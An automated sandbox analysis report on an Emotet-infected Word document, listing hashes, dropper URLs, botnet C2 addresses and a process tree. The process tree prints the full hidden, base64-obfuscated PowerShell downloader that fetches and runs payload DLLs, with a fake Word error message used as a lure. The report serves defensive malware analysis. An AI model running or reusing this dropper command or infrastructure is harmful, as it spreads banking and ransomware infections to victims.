emotet | 3c7b87578c2faf4b45963c8043ae5d724e05f95403864615ea6efacc9c5830aa

General

Target

9092846dece6e79c44ca875d45bac88bdd2f251cacc31279566e30387bff2371.doc
Size

159KB
MD5

c8857c120f2a6609fb03f3a94f79df2d
SHA1

0f01c1feab662983a38f0d1395f2704b9c2eea86
SHA256

9092846dece6e79c44ca875d45bac88bdd2f251cacc31279566e30387bff2371
SHA512

cecba70eba96802f7c6c8eaf60f0a0549a58f9d45418579c02d42d76e46e4f24c9b9fba6cf4cddb24ce0fd17e7231500319a7a40ae6ea6e67d1b6bff846e17a4

Score

10^/10

emotet epoch3 lea banker ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://office.horussolution.com/files/Help/

exe.dropper

http://18.179.187.145/licenses/Sys/

exe.dropper

https://malaysianscoop.com/img/MSInfo/

exe.dropper

https://luoyb.com/wp-includes/rUhBVqXWAV/

exe.dropper

http://uk-bet.com/wp-content/Media/

exe.dropper

http://somatone.atakdev.com/plesk-stat/Stationery/

Extracted

Family

emotet

Botnet

Epoch3

C2

113.161.176.235:80

88.247.30.64:80

89.163.210.141:8080

139.162.10.249:8080

203.157.152.9:7080

109.99.146.210:8080

78.90.78.210:80

172.193.14.201:80

157.7.164.178:8081

189.211.214.19:443

157.245.145.87:443

180.148.4.130:8080

46.32.229.152:8080

24.245.65.66:80

82.78.179.117:443

177.130.51.198:80

121.117.147.153:443

203.160.167.243:80

172.104.46.84:8080

202.29.237.113:8080

rsa_pubkey.plain

Extracted

Family

emotet

Botnet

LEA

C2

80.158.3.161:443

80.158.51.209:8080

80.158.35.51:80

80.158.63.78:443

80.158.53.167:80

80.158.62.194:443

80.158.59.174:8080

80.158.43.136:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 644 4060 cmd.exe
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exerundll32.exerundll32.exe

flow pid process

22 1600 powershell.exe
31 1496 rundll32.exe
32 1496 rundll32.exe
39 1496 rundll32.exe
40 196 rundll32.exe
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2240 rundll32.exe
596 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	644	4060	cmd.exe

flow	pid	process
22	1600	powershell.exe
31	1496	rundll32.exe
32	1496	rundll32.exe
39	1496	rundll32.exe
40	196	rundll32.exe

pid	process
2240	rundll32.exe
596	rundll32.exe

Drops file in System32 directory 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Gqxsahuwi\jhdacxkf.pxk	rundll32.exe
File created	C:\Windows\SysWOW64\Gqxsahuwi\wbxfxbdzrorbrig.dll	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\Gqxsahuwi\jhdacxkf.pxk	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

496 WINWORD.EXE
496 WINWORD.EXE

pid	process
496	WINWORD.EXE
496	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powershell.exerundll32.exerundll32.exerundll32.exe

pid	process
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
596	rundll32.exe
596	rundll32.exe
196	rundll32.exe
196	rundll32.exe
196	rundll32.exe
196	rundll32.exe
196	rundll32.exe
196	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1600 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

496 WINWORD.EXE
496 WINWORD.EXE
496 WINWORD.EXE
496 WINWORD.EXE
496 WINWORD.EXE
496 WINWORD.EXE
496 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	1600	powershell.exe

pid	process
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 644 wrote to memory of 2216	644	cmd.exe	msg.exe
PID 644 wrote to memory of 2216	644	cmd.exe	msg.exe
PID 644 wrote to memory of 1600	644	cmd.exe	powershell.exe
PID 644 wrote to memory of 1600	644	cmd.exe	powershell.exe
PID 1600 wrote to memory of 3132	1600	powershell.exe	rundll32.exe
PID 1600 wrote to memory of 3132	1600	powershell.exe	rundll32.exe
PID 3132 wrote to memory of 2240	3132	rundll32.exe	rundll32.exe
PID 3132 wrote to memory of 2240	3132	rundll32.exe	rundll32.exe
PID 3132 wrote to memory of 2240	3132	rundll32.exe	rundll32.exe
PID 2240 wrote to memory of 1496	2240	rundll32.exe	rundll32.exe
PID 2240 wrote to memory of 1496	2240	rundll32.exe	rundll32.exe
PID 2240 wrote to memory of 1496	2240	rundll32.exe	rundll32.exe
PID 1496 wrote to memory of 596	1496	rundll32.exe	rundll32.exe
PID 1496 wrote to memory of 596	1496	rundll32.exe	rundll32.exe
PID 1496 wrote to memory of 596	1496	rundll32.exe	rundll32.exe
PID 596 wrote to memory of 196	596	rundll32.exe	rundll32.exe
PID 596 wrote to memory of 196	596	rundll32.exe	rundll32.exe
PID 596 wrote to memory of 196	596	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9092846dece6e79c44ca875d45bac88bdd2f251cacc31279566e30387bff2371.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:496

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AaQBUAEUATQAgACAAdgBBAHIASQBhAGIAbABFADoAbAA4ADAAcgAgACAAKABbAFQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAzAH0AewAwAH0AewAyAH0AIgAgAC0ARgAgACcARABJAHIAZQBDAFQAJwAsACcAcwBZAFMAVABFACcALAAnAE8AUgB5ACcALAAnAEkAbwAuACcALAAnAE0ALgAnACkAKQA7ACAAIAAkAHAAWQBaAHcAQgAgAD0AIAAgAFsAdABZAFAAZQBdACgAIgB7ADQAfQB7ADMAfQB7ADAAfQB7ADEAfQB7ADUAfQB7ADIAfQAiAC0ARgAnAEkAJwAsACcAYwBlACcALAAnAEcAZQBSACcALAAnAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBzAFkAUwB0AEUAbQAuACcALAAnAHAATwBpAG4AVABNAEEAbgBBACcAKQAgACAAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAbgAnACkAKwAnAHQAbAAnACsAJwB5ACcAKwAoACcAQwBvACcAKwAnAG4AJwArACcAdABpAG4AJwApACsAJwB1AGUAJwApADsAJABXAGQANwBhADgAcQAwAD0AJABZADUAOABPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADYANgBKADsAJABBAF8ANgBYAD0AKAAnAFoAJwArACgAJwA0ADgAJwArACcAQgAnACkAKQA7ACAAIAAoAEcARQB0AC0ASQB0AGUATQAgACAAdgBhAFIASQBhAEIAbABFADoATAA4ADAAUgAgACkALgB2AGEAbAB1AGUAOgA6ACIAYwByAEUAQQBUAEUARABJAGAAUgBgAGUAYwBgAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHkARwAnACsAJwBpAEoAJwArACgAJwBnAF8AcABmAGYAJwArACcAegB5ACcAKwAnAEcAaQBMACcAKQArACcAbAAnACsAJwBjACcAKwAnAGgAJwArACgAJwB3AHUAJwArACcAbgAnACkAKwAoACcAeQBHACcAKwAnAGkAJwApACkAIAAtAEMAUgBlAHAAbABBAEMARQAgACAAKAAnAHkARwAnACsAJwBpACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAFIANQBfAFUAPQAoACgAJwBWADAAJwArACcAOAAnACkAKwAnAFYAJwApADsAIAAgACQAcABZAHoAdwBCADoAOgAiAFMAYABFAEMAYABVAFIAaQB0AFkAcABSAG8AdABvAGMATwBsACIAIAA9ACAAKAAoACcAVABsAHMAJwArACcAMQAnACkAKwAnADIAJwApADsAJABNADQAOABTAD0AKAAnAEwAOQAnACsAJwA1AFQAJwApADsAJABaAHUAaQBrAGEANwB5ACAAPQAgACgAJwBSADYAJwArACcAMQBTACcAKQA7ACQAVQAwADYAVwA9ACgAKAAnAFgAMAAnACsAJwA2ACcAKQArACcAUAAnACkAOwAkAEwAawBwAHEAXwB5ADUAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBKAGcAXwBwAGYAZgAnACsAJwB6AHsAMAB9AEwAJwArACcAbABjAGgAdwB1AG4AewAwACcAKwAnAH0AJwApACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABaAHUAaQBrAGEANwB5ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATwA2ADAAUgA9ACgAJwBYACcAKwAoACcAOQA4ACcAKwAnAFgAJwApACkAOwAkAFUAMwB0AHkAZABnAGIAPQAoACgAJwBdAGUAMQByAFsAJwArACcAUwBzACcAKQArACcAOgAvACcAKwAoACcALwBvAGYAZgBpACcAKwAnAGMAJwApACsAKAAnAGUALgBoACcAKwAnAG8AcgB1ACcAKQArACgAJwBzACcAKwAnAHMAbwAnACsAJwBsAHUAdAAnACsAJwBpAG8AJwArACcAbgAuAGMAbwAnACsAJwBtAC8AZgAnACsAJwBpAGwAZQBzAC8AJwApACsAKAAnAEgAJwArACcAZQBsAHAALwAnACkAKwAoACcAQAAnACsAJwBdAGUAMQByAFsAUwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAMQA4AC4AMQA3ACcAKQArACgAJwA5AC4AJwArACcAMQAnACkAKwAoACcAOAA3ACcAKwAnAC4AJwApACsAJwAxADQAJwArACgAJwA1ACcAKwAnAC8AbAAnACkAKwAoACcAaQBjACcAKwAnAGUAbgBzAGUAcwAnACsAJwAvAFMAeQAnACkAKwAoACcAcwAvAEAAXQAnACsAJwBlACcAKQArACgAJwAxAHIAWwAnACsAJwBTAHMAOgAvACcAKwAnAC8AJwApACsAJwBtACcAKwAoACcAYQBsACcAKwAnAGEAeQAnACkAKwAnAHMAJwArACcAaQAnACsAKAAnAGEAJwArACcAbgBzAGMAbwBvAHAAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAaQAnACsAKAAnAG0AJwArACcAZwAvAE0AJwApACsAJwBTAEkAJwArACcAbgAnACsAJwBmACcAKwAoACcAbwAnACsAJwAvAEAAJwApACsAKAAnAF0AZQAxAHIAWwAnACsAJwBTACcAKQArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAJwB1ACcAKwAoACcAbwB5ACcAKwAnAGIALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAJwApACsAJwBkACcAKwAoACcAZQAnACsAJwBzAC8AcgBVACcAKQArACgAJwBoACcAKwAnAEIAVgBxAFgAJwArACcAVwAnACkAKwAoACcAQQBWACcAKwAnAC8AQABdAGUAMQByAFsAJwArACcAUwAnACkAKwAoACcAOgAvAC8AdQAnACsAJwBrACcAKQArACgAJwAtACcAKwAnAGIAZQB0AC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQALwBNACcAKwAnAGUAJwApACsAKAAnAGQAaQBhACcAKwAnAC8AQAAnACkAKwAoACcAXQBlACcAKwAnADEAJwApACsAKAAnAHIAWwAnACsAJwBTACcAKQArACgAJwA6AC8ALwBzACcAKwAnAG8AJwArACcAbQBhAHQAbwAnACkAKwAnAG4AZQAnACsAKAAnAC4AYQB0AGEAawAnACsAJwBkAGUAdgAnACsAJwAuAGMAbwBtAC8AcAAnACsAJwBsAGUAcwBrAC0AJwApACsAJwBzAHQAJwArACcAYQAnACsAJwB0ACcAKwAnAC8AUwAnACsAKAAnAHQAYQB0AGkAbwBuACcAKwAnAGUAcgB5ACcAKwAnAC8AJwApACkALgAiAFIAYABFAFAAbABhAEMARQAiACgAKAAnAF0AZQAnACsAJwAxACcAKwAoACcAcgAnACsAJwBbAFMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACkAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABTADMAOQBXACAAKwAgACQAVwBkADcAYQA4AHEAMAAgACsAIAAkAEcAMABfAE0AKQA7ACQARAA0ADMAUgA9ACgAJwBZACcAKwAoACcANAAwACcAKwAnAFQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAYQB1ADcAYQBvADgAIABpAG4AIAAkAFUAMwB0AHkAZABnAGIAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtAE8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAHMAeQBzAHQARQBtAC4AbgBlAFQALgB3AEUAYgBDAEwASQBlAE4AVAApAC4AIgBEAG8AdwBuAGAAbABvAEEARABGAGAASQBgAGwAZQAiACgAJABKAGEAdQA3AGEAbwA4ACwAIAAkAEwAawBwAHEAXwB5ADUAKQA7ACQAUAAwADIARwA9ACgAJwBZADAAJwArACcAOQBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABMAGsAcABxAF8AeQA1ACkALgAiAGwAYABlAG4ARwB0AEgAIgAgAC0AZwBlACAANAAzADkANgA0ACkAIAB7AC4AKAAnAHIAdQAnACsAJwBuAGQAJwArACcAbABsADMAMgAnACkAIAAkAEwAawBwAHEAXwB5ADUALAAoACcAQwBvACcAKwAnAG4AJwArACgAJwB0ACcAKwAnAHIAbwBsACcAKQArACcAXwBSACcAKwAoACcAdQBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AcwB0AGAAUgBpAE4ARwAiACgAKQA7ACQAVwAyADkASwA9ACgAJwBDACcAKwAoACcAOAAwACcAKwAnAFYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAXwA2AEoAPQAoACgAJwBIADMAJwArACcANwAnACkAKwAnAEUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZADAANABJAD0AKAAoACcAQgAnACsAJwA3ADQAJwApACsAJwBCACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:644

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AaQBUAEUATQAgACAAdgBBAHIASQBhAGIAbABFADoAbAA4ADAAcgAgACAAKABbAFQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAzAH0AewAwAH0AewAyAH0AIgAgAC0ARgAgACcARABJAHIAZQBDAFQAJwAsACcAcwBZAFMAVABFACcALAAnAE8AUgB5ACcALAAnAEkAbwAuACcALAAnAE0ALgAnACkAKQA7ACAAIAAkAHAAWQBaAHcAQgAgAD0AIAAgAFsAdABZAFAAZQBdACgAIgB7ADQAfQB7ADMAfQB7ADAAfQB7ADEAfQB7ADUAfQB7ADIAfQAiAC0ARgAnAEkAJwAsACcAYwBlACcALAAnAEcAZQBSACcALAAnAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBzAFkAUwB0AEUAbQAuACcALAAnAHAATwBpAG4AVABNAEEAbgBBACcAKQAgACAAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAbgAnACkAKwAnAHQAbAAnACsAJwB5ACcAKwAoACcAQwBvACcAKwAnAG4AJwArACcAdABpAG4AJwApACsAJwB1AGUAJwApADsAJABXAGQANwBhADgAcQAwAD0AJABZADUAOABPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADYANgBKADsAJABBAF8ANgBYAD0AKAAnAFoAJwArACgAJwA0ADgAJwArACcAQgAnACkAKQA7ACAAIAAoAEcARQB0AC0ASQB0AGUATQAgACAAdgBhAFIASQBhAEIAbABFADoATAA4ADAAUgAgACkALgB2AGEAbAB1AGUAOgA6ACIAYwByAEUAQQBUAEUARABJAGAAUgBgAGUAYwBgAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHkARwAnACsAJwBpAEoAJwArACgAJwBnAF8AcABmAGYAJwArACcAegB5ACcAKwAnAEcAaQBMACcAKQArACcAbAAnACsAJwBjACcAKwAnAGgAJwArACgAJwB3AHUAJwArACcAbgAnACkAKwAoACcAeQBHACcAKwAnAGkAJwApACkAIAAtAEMAUgBlAHAAbABBAEMARQAgACAAKAAnAHkARwAnACsAJwBpACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAFIANQBfAFUAPQAoACgAJwBWADAAJwArACcAOAAnACkAKwAnAFYAJwApADsAIAAgACQAcABZAHoAdwBCADoAOgAiAFMAYABFAEMAYABVAFIAaQB0AFkAcABSAG8AdABvAGMATwBsACIAIAA9ACAAKAAoACcAVABsAHMAJwArACcAMQAnACkAKwAnADIAJwApADsAJABNADQAOABTAD0AKAAnAEwAOQAnACsAJwA1AFQAJwApADsAJABaAHUAaQBrAGEANwB5ACAAPQAgACgAJwBSADYAJwArACcAMQBTACcAKQA7ACQAVQAwADYAVwA9ACgAKAAnAFgAMAAnACsAJwA2ACcAKQArACcAUAAnACkAOwAkAEwAawBwAHEAXwB5ADUAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBKAGcAXwBwAGYAZgAnACsAJwB6AHsAMAB9AEwAJwArACcAbABjAGgAdwB1AG4AewAwACcAKwAnAH0AJwApACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABaAHUAaQBrAGEANwB5ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATwA2ADAAUgA9ACgAJwBYACcAKwAoACcAOQA4ACcAKwAnAFgAJwApACkAOwAkAFUAMwB0AHkAZABnAGIAPQAoACgAJwBdAGUAMQByAFsAJwArACcAUwBzACcAKQArACcAOgAvACcAKwAoACcALwBvAGYAZgBpACcAKwAnAGMAJwApACsAKAAnAGUALgBoACcAKwAnAG8AcgB1ACcAKQArACgAJwBzACcAKwAnAHMAbwAnACsAJwBsAHUAdAAnACsAJwBpAG8AJwArACcAbgAuAGMAbwAnACsAJwBtAC8AZgAnACsAJwBpAGwAZQBzAC8AJwApACsAKAAnAEgAJwArACcAZQBsAHAALwAnACkAKwAoACcAQAAnACsAJwBdAGUAMQByAFsAUwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAMQA4AC4AMQA3ACcAKQArACgAJwA5AC4AJwArACcAMQAnACkAKwAoACcAOAA3ACcAKwAnAC4AJwApACsAJwAxADQAJwArACgAJwA1ACcAKwAnAC8AbAAnACkAKwAoACcAaQBjACcAKwAnAGUAbgBzAGUAcwAnACsAJwAvAFMAeQAnACkAKwAoACcAcwAvAEAAXQAnACsAJwBlACcAKQArACgAJwAxAHIAWwAnACsAJwBTAHMAOgAvACcAKwAnAC8AJwApACsAJwBtACcAKwAoACcAYQBsACcAKwAnAGEAeQAnACkAKwAnAHMAJwArACcAaQAnACsAKAAnAGEAJwArACcAbgBzAGMAbwBvAHAAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAaQAnACsAKAAnAG0AJwArACcAZwAvAE0AJwApACsAJwBTAEkAJwArACcAbgAnACsAJwBmACcAKwAoACcAbwAnACsAJwAvAEAAJwApACsAKAAnAF0AZQAxAHIAWwAnACsAJwBTACcAKQArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAJwB1ACcAKwAoACcAbwB5ACcAKwAnAGIALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAJwApACsAJwBkACcAKwAoACcAZQAnACsAJwBzAC8AcgBVACcAKQArACgAJwBoACcAKwAnAEIAVgBxAFgAJwArACcAVwAnACkAKwAoACcAQQBWACcAKwAnAC8AQABdAGUAMQByAFsAJwArACcAUwAnACkAKwAoACcAOgAvAC8AdQAnACsAJwBrACcAKQArACgAJwAtACcAKwAnAGIAZQB0AC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQALwBNACcAKwAnAGUAJwApACsAKAAnAGQAaQBhACcAKwAnAC8AQAAnACkAKwAoACcAXQBlACcAKwAnADEAJwApACsAKAAnAHIAWwAnACsAJwBTACcAKQArACgAJwA6AC8ALwBzACcAKwAnAG8AJwArACcAbQBhAHQAbwAnACkAKwAnAG4AZQAnACsAKAAnAC4AYQB0AGEAawAnACsAJwBkAGUAdgAnACsAJwAuAGMAbwBtAC8AcAAnACsAJwBsAGUAcwBrAC0AJwApACsAJwBzAHQAJwArACcAYQAnACsAJwB0ACcAKwAnAC8AUwAnACsAKAAnAHQAYQB0AGkAbwBuACcAKwAnAGUAcgB5ACcAKwAnAC8AJwApACkALgAiAFIAYABFAFAAbABhAEMARQAiACgAKAAnAF0AZQAnACsAJwAxACcAKwAoACcAcgAnACsAJwBbAFMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACkAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABTADMAOQBXACAAKwAgACQAVwBkADcAYQA4AHEAMAAgACsAIAAkAEcAMABfAE0AKQA7ACQARAA0ADMAUgA9ACgAJwBZACcAKwAoACcANAAwACcAKwAnAFQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAYQB1ADcAYQBvADgAIABpAG4AIAAkAFUAMwB0AHkAZABnAGIAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtAE8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAHMAeQBzAHQARQBtAC4AbgBlAFQALgB3AEUAYgBDAEwASQBlAE4AVAApAC4AIgBEAG8AdwBuAGAAbABvAEEARABGAGAASQBgAGwAZQAiACgAJABKAGEAdQA3AGEAbwA4ACwAIAAkAEwAawBwAHEAXwB5ADUAKQA7ACQAUAAwADIARwA9ACgAJwBZADAAJwArACcAOQBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABMAGsAcABxAF8AeQA1ACkALgAiAGwAYABlAG4ARwB0AEgAIgAgAC0AZwBlACAANAAzADkANgA0ACkAIAB7AC4AKAAnAHIAdQAnACsAJwBuAGQAJwArACcAbABsADMAMgAnACkAIAAkAEwAawBwAHEAXwB5ADUALAAoACcAQwBvACcAKwAnAG4AJwArACgAJwB0ACcAKwAnAHIAbwBsACcAKQArACcAXwBSACcAKwAoACcAdQBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AcwB0AGAAUgBpAE4ARwAiACgAKQA7ACQAVwAyADkASwA9ACgAJwBDACcAKwAoACcAOAAwACcAKwAnAFYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAXwA2AEoAPQAoACgAJwBIADMAJwArACcANwAnACkAKwAnAEUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZADAANABJAD0AKAAoACcAQgAnACsAJwA3ADQAJwApACsAJwBCACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Jg_pffz\Llchwun\R61S.dll,Control_RunDLL
3⤵
- Suspicious use of WriteProcessMemory
PID:3132

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Jg_pffz\Llchwun\R61S.dll,Control_RunDLL
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqxsahuwi\jhdacxkf.pxk",Control_RunDLL
5⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Gqxsahuwi\wbxfxbdzrorbrig.dll",Control_RunDLL pAIAAC4AAABHAHEAeABzAGEAaAB1AHcAaQBcAGoAaABkAGEAYwB4AGsAZgAuAHAAeABrAAAA
6⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqxsahuwi\jhdacxkf.pxk",Control_RunDLL
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:196

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Jg_pffz\Llchwun\R61S.dll
MD5
3cc696c301c3458b16d3fc39ceb92965

SHA1
b202378a54eb660b74fa6be1e627d9b80e262dbe

SHA256
f60a367863fb0eaecddb98f29eb44b8f885c027684d441dc5d79cf2f33d65563

SHA512
63598ea970d06f3095ad4f7dd70d1ecfc3d65bb4f90ad6b5fdf4d2fcc3e51f54fe705c060de5d95375c5b15495007c65fe60d23877c57abe596a7d473c588fd7

Download Submit
C:\Windows\SysWOW64\Gqxsahuwi\wbxfxbdzrorbrig.dll
MD5
9a062ead5b2d55af0a5a4b39c5b5eadc

SHA1
fc83367be87c700a696b0329dab538b5e47d90bf

SHA256
a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

SHA512
693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

Download Submit
\Users\Admin\Jg_pffz\Llchwun\R61S.dll
MD5
3cc696c301c3458b16d3fc39ceb92965

SHA1
b202378a54eb660b74fa6be1e627d9b80e262dbe

SHA256
f60a367863fb0eaecddb98f29eb44b8f885c027684d441dc5d79cf2f33d65563

SHA512
63598ea970d06f3095ad4f7dd70d1ecfc3d65bb4f90ad6b5fdf4d2fcc3e51f54fe705c060de5d95375c5b15495007c65fe60d23877c57abe596a7d473c588fd7

Download Submit
\Windows\SysWOW64\Gqxsahuwi\wbxfxbdzrorbrig.dll
MD5
9a062ead5b2d55af0a5a4b39c5b5eadc

SHA1
fc83367be87c700a696b0329dab538b5e47d90bf

SHA256
a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

SHA512
